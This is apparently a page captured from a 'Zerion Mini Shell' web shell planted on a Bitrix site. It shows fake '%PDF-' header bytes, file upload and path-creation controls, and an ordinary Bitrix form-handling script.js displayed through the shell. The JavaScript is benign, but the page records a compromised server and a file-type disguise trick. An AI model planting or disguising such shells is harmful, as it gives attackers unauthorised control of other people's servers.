%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/components/bitrix/socialnetwork.features/templates/.default/
Upload File :
Create Path :
Current File : /home/bitrix/www/bitrix/components/bitrix/socialnetwork.features/templates/.default/script.js

(function(){

if (!!BX.BXSF)
{
	return;
}

BX.BXSF = {
	iframe: false,
	errorBlock: null
};

BX.BXSF.init = function(params) {
	if (typeof (params) != 'undefined')
	{
		if (typeof (params.iframe) != 'undefined')
		{
			this.iframe = !!params.iframe;
		}

		if (
			BX.type.isNotEmptyString(params.errorBlockName)
			&& BX(params.errorBlockName)
		)
		{
			this.errorBlock = BX(params.errorBlockName);
		}
	}

	BX.bind(BX("sonet_group_features_form_button_cancel"), "click", function(event) {
		BX.SidePanel.Instance.close();
		event.preventDefault();
	});

	var items = BX.findChildren(BX('sonet-features-form'), {className:'sn-features-row'}, true);
	if (
		items
		&& BX("sonet_group_features_form_button_submit")
	)
	{
		BX.bind(BX("sonet_group_features_form_button_submit"), "click", BX.delegate(function(event) {
			BX.BXSF.submitForm();
			event.preventDefault();
		}, this));
	}

	var feature = null;
	items = BX.findChildren(BX('sonet-features-form'), {className:'settings-right-enable-checkbox'}, true);
	for(var i=0; i < items.length; i++)
	{
		BX.bind(items[i], "click", BX.delegate(function(e) {
			var node = e.currentTarget;
			feature = node.getAttribute('bx-feature');
			if (BX.type.isNotEmptyString(feature))
			{
				BX.BXSF.toggleInternalBlock(node.checked, feature);
			}
		}, this));
	}
};

BX.BXSF.toggleInternalBlock = function(chk, type) {
	var el = BX(type + "_body");
	if (el)
	{
		BX.toggle(el);
	}

	var controlsBlock = BX(type + '_block');
	if (controlsBlock)
	{
		BX.toggle(controlsBlock);
	}

	el = BX(type + "_lbl");

	if (el)
	{
		el.innerHTML = BX.message('sonetF_' + type + (chk ? '_on' : '_off'));
	}
};

BX.BXSF.submitForm = function() {
	if (!BX('sonet-features-form'))
	{
		return;
	}

	BX.SocialnetworkUICommon.hideError(this.errorBlock);
	BX.SocialnetworkUICommon.showButtonWait(BX('sonet_group_features_form_button_submit'));

	BX.ajax.submitAjax(
		document.forms['sonet-features-form'],
		{
			url: BX('sonet-features-form').getAttribute('action'),
			method: 'POST',
			dataType: 'json',
			onsuccess: BX.delegate(function(responseData) {
				BX.SocialnetworkUICommon.hideButtonWait(BX('sonet_group_features_form_button_submit'));

				if (
					typeof responseData.MESSAGE != 'undefined'
					&& responseData.MESSAGE == 'SUCCESS'
					&& typeof responseData.URL != 'undefined'
				)
				{
					if (this.iframe)
					{
						BX.SidePanel.Instance.close();
					}
					top.location.href = responseData.URL;
				}
				else if (
					typeof responseData.MESSAGE != 'undefined'
					&& responseData.MESSAGE == 'ERROR'
					&& typeof responseData.ERROR_MESSAGE != 'undefined'
					&& responseData.ERROR_MESSAGE.length > 0
				)
				{
					BX.SocialnetworkUICommon.showError(responseData["ERROR_MESSAGE"], this.errorBlock);
				}
			}, this),
			onfailure: BX.delegate(function(responseData) {
				BX.SocialnetworkUICommon.hideButtonWait(BX('sonet_group_features_form_button_submit'));
				BX.SocialnetworkUICommon.showError(BX.message('SONET_C4_T_ERROR'), this.errorBlock);
			}, this)
		}
	);
};

})();

Zerion Mini Shell 1.0